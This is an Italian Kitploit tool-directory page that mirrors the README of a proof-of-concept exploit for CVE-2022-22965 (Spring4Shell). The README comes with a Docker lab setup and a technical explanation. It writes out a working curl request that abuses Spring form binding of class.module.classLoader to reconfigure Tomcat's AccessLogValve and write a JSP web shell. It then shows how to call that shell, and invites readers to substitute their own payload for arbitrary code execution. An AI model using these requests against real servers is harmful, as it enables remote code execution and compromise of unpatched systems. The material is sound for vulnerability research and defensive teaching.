Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-22965-PoC — Exploit proof-of-concept per CVE-2022-22965 (Spring4Shell) che dimostra l'esecuzione remota di codice tramite la manipolazione di Tomcat AccessLogValve. Include ambiente di riproduzione basato su Docker e analisi tecnica dettagliata. | Kitploit
Strumenti/GitHubGitHub/kirill89/cve-2022-22965-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

Exploit proof-of-concept per CVE-2022-22965 (Spring4Shell) che dimostra l'esecuzione remota di codice tramite la manipolazione di Tomcat AccessLogValve. Include ambiente di riproduzione basato su Docker e analisi tecnica dettagliata.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
322144 anni faRevisionato da Kitploit
Condividi

CVE-2022-22965 PoC

Esempio minimale di come riprodurre la CVE-2022-22965 Spring RCE.

Eseguire con docker compose

  1. Compilare l'applicazione usando Docker compose
    docker-compose up --build
    
  2. Per testare l'app, andare su http://localhost:8080/handling-form-submission-complete/greeting
  3. Eseguire l'exploit
    ./exploits/run.sh
    
  4. L'exploit creerà il file rce.jsp in webapps/handling-form-submission-complete sul server web.
  5. Usare l'exploit Andare su http://localhost:8080/handling-form-submission-complete/rce.jsp

Metodo alternativo (orientato al debug)

  1. Avviare il server Tomcat in docker

    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    

    Aggiungere -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" se si vuole eseguire il debug da remoto.

  2. Compilare il progetto

    ./mvnw install
    
  3. Distribuire l'app

    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  4. Scrivere l'exploit

    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    L'exploit creerà il file rce.jsp in webapps/handling-form-submission-complete sul server web.

  5. Usare l'exploit

    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    Ora vedrete 123 nel terminale del container. Sostituite System.out.println(123) con il vostro payload per eseguire codice arbitrario.

Breve spiegazione tecnica

  1. Spring sa come associare i campi di un form a oggetti Java. Nel nostro esempio GreetingController gestisce le richieste POST sull'endpoint /greeting e associa i campi del form all'oggetto Greeting.
  2. Supporta anche l'associazione di campi annidati (es. user.info.firstname). Vedere AbstractNestablePropertyAccessor per i riferimenti.
  3. Nel nostro esempio la classe Greeting ha due campi id e content, ma in realtà ha anche un riferimento all'oggetto Class. Possiamo usare class.module.classLoader come chiave dei dati del form per accedere al classloader.
  4. Nella correzione possiamo vedere che la modifica principale è stata limitare l'accesso alla maggior parte delle proprietà dell'oggetto Class, inclusa quella module.
  5. Questo comportamento ci permette di impostare le proprietà pubbliche delle classi accessibili tramite la catena di riferimenti annidati a partire dalla classe Greeting. Nient'altro. Nella maggior parte dei casi non è nemmeno pericoloso perché non sono disponibili classi con campi pubblici nemmeno da class.module.classLoader..
  6. Diventa un problema sul server Tomcat perché il classloader ha l'accessor getResources che ci permette di continuare la catena di riferimenti e accedere a una delle istanze della classe AccessLogValve.
  7. Questa classe è pensata per scrivere log. Modifichiamo alcune proprietà per fargli scrivere file con il nome e il contenuto che scegliamo. A questo punto abbiamo scrittura arbitraria di file.
  8. Creiamo un file jsp nella radice della cartella dell'applicazione con il payload malevolo. Poiché i jsp vengono eseguiti automaticamente da Tomcat, possiamo navigare fino ad esso nel browser ed eventualmente eseguire il payload. Ora è RCE.

Condizioni

L'exploit funziona solo su Tomcat perché ha un classloader speciale. Sebbene una catena di riferimenti simile possa esistere anche su altri server di applicazioni web. Non è ancora stata scoperta semplicemente.

L'exploit richiede Java 9 o superiore perché la proprietà module è stata aggiunta in Java 9.

Riferimenti

  • La parte server si basa sulla guida passo-passo https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a.
  • La parte exploit si basa sullo script https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py.
  • L'advisory Snyk sulla vulnerabilità è disponibile qui: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
Scarica lo strumento